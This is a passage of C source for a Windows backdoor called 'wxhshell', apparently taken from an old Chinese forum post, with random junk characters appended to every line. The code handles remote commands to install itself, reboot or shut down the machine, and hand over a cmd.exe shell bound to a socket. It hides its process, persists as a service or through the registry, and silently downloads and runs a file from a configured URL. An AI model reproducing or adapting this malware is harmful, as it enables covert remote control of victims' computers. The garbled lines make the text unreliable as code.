  case '?': { 8z`Ne(h;  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); A)HV#T`N  
    break; vq8&IL  
  } X8~gLdv8  
  // 安装 I,7n-G_'  
  case 'i': { PS/00F/Ak  
    if(Install()) FQBAt0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~+&Z4CYb  
    else n_ S)9C'=  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); pP*`b<|  
    break; %0lJ(hm  
    } psM&r  
  // 卸载 gPY Cw?zQ  
  case 'r': { \heQVWRl  
    if(Uninstall()) a+e8<fM yT  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =`f"8 ,5  
    else qVr?st  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); KF f6um  
    break; 3.V-r59  
    } ^cI 0 d,3=  
  // 显示 wxhshell 所在路径 Y/`*t(/5  
  case 'p': { B'-L-]\H  
    char svExeFile[MAX_PATH]; 9~6~[z  
    strcpy(svExeFile,"\n\r"); i3<ZFR  
      strcat(svExeFile,ExeFile); m:C|R-IL  
        send(wsh,svExeFile,strlen(svExeFile),0); vx4Jk]h+=L  
    break; GU]_Z!3  
    } !A#(bC  
  // 重启 jB0ED0)wX  
  case 'b': { ,_U3p ,  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); A>Xt 5vk+  
    if(Boot(REBOOT)) >OW>^%\!1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `cpUl*Y=  
    else { l>?k>NEpP  
    closesocket(wsh); 4qg] oiT  
    ExitThread(0); ds<q"S {p  
    } 5 u^;71  
    break; wKj0vMW  
    } mVEHVz $  
  // 关机 V38v2LI  
  case 'd': { k%h%mz  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ]V.0%Ccw;.  
    if(Boot(SHUTDOWN)) xYD.j~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); vj+ S  
    else { ">'`{mXew  
    closesocket(wsh); J/ZC<dkYQ  
    ExitThread(0); !/6KQdF  
    } '/ GZ,~q  
    break; PXDwTuyc  
    } +HfZs"x  
  // 获取shell ehr,+GX  
  case 's': { ALl0(<u67  
    CmdShell(wsh); 5}he)2*uD  
    closesocket(wsh); Fy-|E>@]D  
    ExitThread(0); . J.| S4D  
    break; Qhsk09K_=4  
  } 6^v HFJ$  
  // 退出 U=>4=gsG  
  case 'x': { Z*M-PaU}  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); u{(-`Al}L  
    CloseIt(wsh); I+FQ2\J*H  
    break; <:Z-zQp)?  
    } 93fClF|@  
  // 离开 V8IEfU  
  case 'q': { Q0-}!5`E1$  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); $+Zj)V(  
    closesocket(wsh); N83g=[  
    WSACleanup(); JN<IMH  
    exit(1); "M4 gl  
    break; YRs32vVz  
        } _5SA(0D#9  
  } "%fvA;  
  } D$PR<>=y  
8VLD yX2-  
  // 提示信息 .80L>0  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 7) e#b  
} rulw6vTB(  
  } (Gpk;DD  
t9+ME|  
  return; mZb[Fi  
} 6n5>{X  
HA::(cXL  
// shell模块句柄 HT6+OK(~dJ  
int CmdShell(SOCKET sock) us3fBY'  
{ pi?[jU[Tn  
STARTUPINFO si; )kuw&SH,  
ZeroMemory(&si,sizeof(si)); E1V;eoK.D  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; (#%R'9R v  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; G2e0\}q  
PROCESS_INFORMATION ProcessInfo; `Wy8g?d;bn  
char cmdline[]="cmd"; Tv`-h  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); kr6^6I.  
  return 0; H_+F~P5RC  
} 84UI)nE:Q  
?~s23%E  
// 自身启动模式 *d;D~"E<@  
int StartFromService(void) 7l|D!`BS  
{ v|K<3@J  
typedef struct 2[Q/|D}}|  
{ KMZEUmY1R1  
  DWORD ExitStatus; Y~ ( <H e?  
  DWORD PebBaseAddress; #Hyfj j  
  DWORD AffinityMask; s5SKQ#,@P  
  DWORD BasePriority; ( R0>0f@  
  ULONG UniqueProcessId; nlaeo"]  
  ULONG InheritedFromUniqueProcessId; cri.kr9Y  
}   PROCESS_BASIC_INFORMATION; s u)AIvF{  
}ikJ a  
PROCNTQSIP NtQueryInformationProcess; SB\T iH/  
%?~`'vYoi  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; d:1TSJff%/  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; o6~9.~_e  
6pi^rpo  
  HANDLE             hProcess; AB1,G|L  
  PROCESS_BASIC_INFORMATION pbi; 1} h''p  
XI*cu\7sy  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); f0,,<ib.w  
  if(NULL == hInst ) return 0; @Nk]f  
#pm0T1+jW  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); FZW:dsm  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Lp}>WCams  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); &*r'Sx )V  
b&~s}IX   
  if (!NtQueryInformationProcess) return 0; u"*Wo'3I|  
XexslzI  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); PK7 kpC  
  if(!hProcess) return 0; %.3] F2_Q  
IoI ,IX]i)  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 98^o9i  
(hv>vfY@  
  CloseHandle(hProcess); 5gnmRd  
;zc,vs  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ON~K(O2g(  
if(hProcess==NULL) return 0; l{b*YUsz>  
BvA09lK  
HMODULE hMod; XK7$Xbd  
char procName[255]; j/+e5.EX/  
unsigned long cbNeeded; jaq`A'o5  
K=`;D  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); bPHqZ*f  
Z 71.*  
  CloseHandle(hProcess); %x G3z7;  
4fp]z9Y  
if(strstr(procName,"services")) return 1; // 以服务启动 GDUOUl&  
bRzw.(k0`r  
  return 0; // 注册表启动 \L@DDK|"`6  
} ]E/~PV  
3] u[NR  
// 主模块 <h7FS90S  
int StartWxhshell(LPSTR lpCmdLine) &lp5W)D  
{ E")g1xGaK  
  SOCKET wsl; O5?Gv??@  
BOOL val=TRUE; Ws>2 S  
  int port=0; nD8CP[bRo  
  struct sockaddr_in door; ca{u"n  
'eRJQ*0F  
  if(wscfg.ws_autoins) Install(); %Qc5_of  
#^FDFl  
port=atoi(lpCmdLine); ILQB%0!  
D+"-(k  
if(port<=0) port=wscfg.ws_port; &+Iv"9  
2/]74d8  
  WSADATA data; 1VD8y_tC  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ZLRAiL  
HI}9 "(t}  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   e<;^P(g`E  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); RXF%A5FXh  
  door.sin_family = AF_INET; 2UF ,W]  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); }j. [h;C6  
  door.sin_port = htons(port); 6HyndB^  
">pt, QV  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { '"/Yk=EmlU  
closesocket(wsl); XW*,Lo5>H\  
return 1; !PIpvx{aX  
} 'l| e}eti>  
=/b WS,=  
  if(listen(wsl,2) == INVALID_SOCKET) { g;Lk 'Ky6  
closesocket(wsl); j$z<wR7j0  
return 1; '.mHx#?7  
} 0;bi*2U  
  Wxhshell(wsl); RTgR>qI&)  
  WSACleanup(); foOwJ}JU  
x/pM.NZF1  
return 0; JXBTd=r_oM  
#cRw0bn:  
} 7oK7f=*Q  
:+m8~n$/  
// 以NT服务方式启动 B?G!~lQ)o  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) nbGB84  
{ +?!x;qS^  
DWORD   status = 0; .-Xp]>f,  
  DWORD   specificError = 0xfffffff; SX4"HadV>  
P})Iwk|Z  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 8<VO>WA>E  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; L:(>ON  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; E(;V.=I  
  serviceStatus.dwWin32ExitCode     = 0; l-Q.@hG  
  serviceStatus.dwServiceSpecificExitCode = 0; ;hsem,C h7  
  serviceStatus.dwCheckPoint       = 0; )TmqE<[  
  serviceStatus.dwWaitHint       = 0; !)}3[h0  
Y<vsMf_U  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); YR{%p Zp  
  if (hServiceStatusHandle==0) return; ?y@RE  
NPL(5@  
status = GetLastError(); +@QN)ZwVy  
  if (status!=NO_ERROR) 6Wm`Vj(s  
{ :RH0.5)  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; DeAi'"&  
    serviceStatus.dwCheckPoint       = 0; BJdH2qREN  
    serviceStatus.dwWaitHint       = 0; ygvX}q  
    serviceStatus.dwWin32ExitCode     = status; l^@!,Z  
    serviceStatus.dwServiceSpecificExitCode = specificError; Eep*,Cnt0  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); eoC@b/F4  
    return; #ZPU.NNT?  
  } \;h+:[<e1  
Jx:t(oUR+  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 0M'[|ci d|  
  serviceStatus.dwCheckPoint       = 0; VGVZ`|  
  serviceStatus.dwWaitHint       = 0; [CBhipoc  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); QBNnvg4v  
} b~1]}9TJ  
G9/5KW}-  
// 处理NT服务事件,比如:启动、停止 [`_ZlC  
VOID WINAPI NTServiceHandler(DWORD fdwControl) epWO}@ b a  
{ %4%$NdU"  
switch(fdwControl) oj6b33z  
{ x tJ_azt  
case SERVICE_CONTROL_STOP: (\Iz(N["G  
  serviceStatus.dwWin32ExitCode = 0; (&w'"-`  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; rT2gX^Mj&  
  serviceStatus.dwCheckPoint   = 0; Y SvZ7G(m>  
  serviceStatus.dwWaitHint     = 0; 0{8^)apII  
  { =*AAXNs@3  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~4YLPMGKl  
  } C^o9::ER  
  return; =9lrPQ]w  
case SERVICE_CONTROL_PAUSE: ,Tb~+z|-[  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; H9x,C/r,  
  break; X_7cwPY  
case SERVICE_CONTROL_CONTINUE: =?*6lS}gy  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Lqt.S|  
  break; Koi  
case SERVICE_CONTROL_INTERROGATE: Mp V3.  
  break; \WDL?(G<  
}; $Vi[195]2  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); T,Bu5:@#  
} =aWj+ggd@  
GJUorj&  
// 标准应用程序主函数 !s>AVV$;0  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) e~#"#?  
{ pT90TcI2  
xm)s%"6n  
// 获取操作系统版本 >t[beRcR6  
OsIsNt=GetOsVer(); C+*qU  
GetModuleFileName(NULL,ExeFile,MAX_PATH); U5 `h  
GAZTCkB"  
  // 从命令行安装 ^1a/)Be{_  
  if(strpbrk(lpCmdLine,"iI")) Install(); PY4RwN  
ad\?@>[ I  
  // 下载执行文件 2 kOFyD  
if(wscfg.ws_downexe) { ^V DJGBk  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) n~1'M/wh  
  WinExec(wscfg.ws_filenam,SW_HIDE); LDj'L~H  
} .`iG} j)\  
ElAho3 W  
if(!OsIsNt) { \(nb >K  
// 如果时win9x,隐藏进程并且设置为注册表启动 -/#VD&MJO=  
HideProc(); SWAggW)  
StartWxhshell(lpCmdLine); 73-*| @6  
} 5/v,|  
else y^rcUPLT  
  if(StartFromService()) YF+hN\  
  // 以服务方式启动 ~*3obZ2>2  
  StartServiceCtrlDispatcher(DispatchTable); *h<= (Y%   
else J3]!<v=  
  // 普通方式启动 V~Zi #o  
  StartWxhshell(lpCmdLine); ]x8_f6;D  
0 !D,74r  
return 0; L[]*vj   
}
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只看该作者 1 发表于: 2006-10-10
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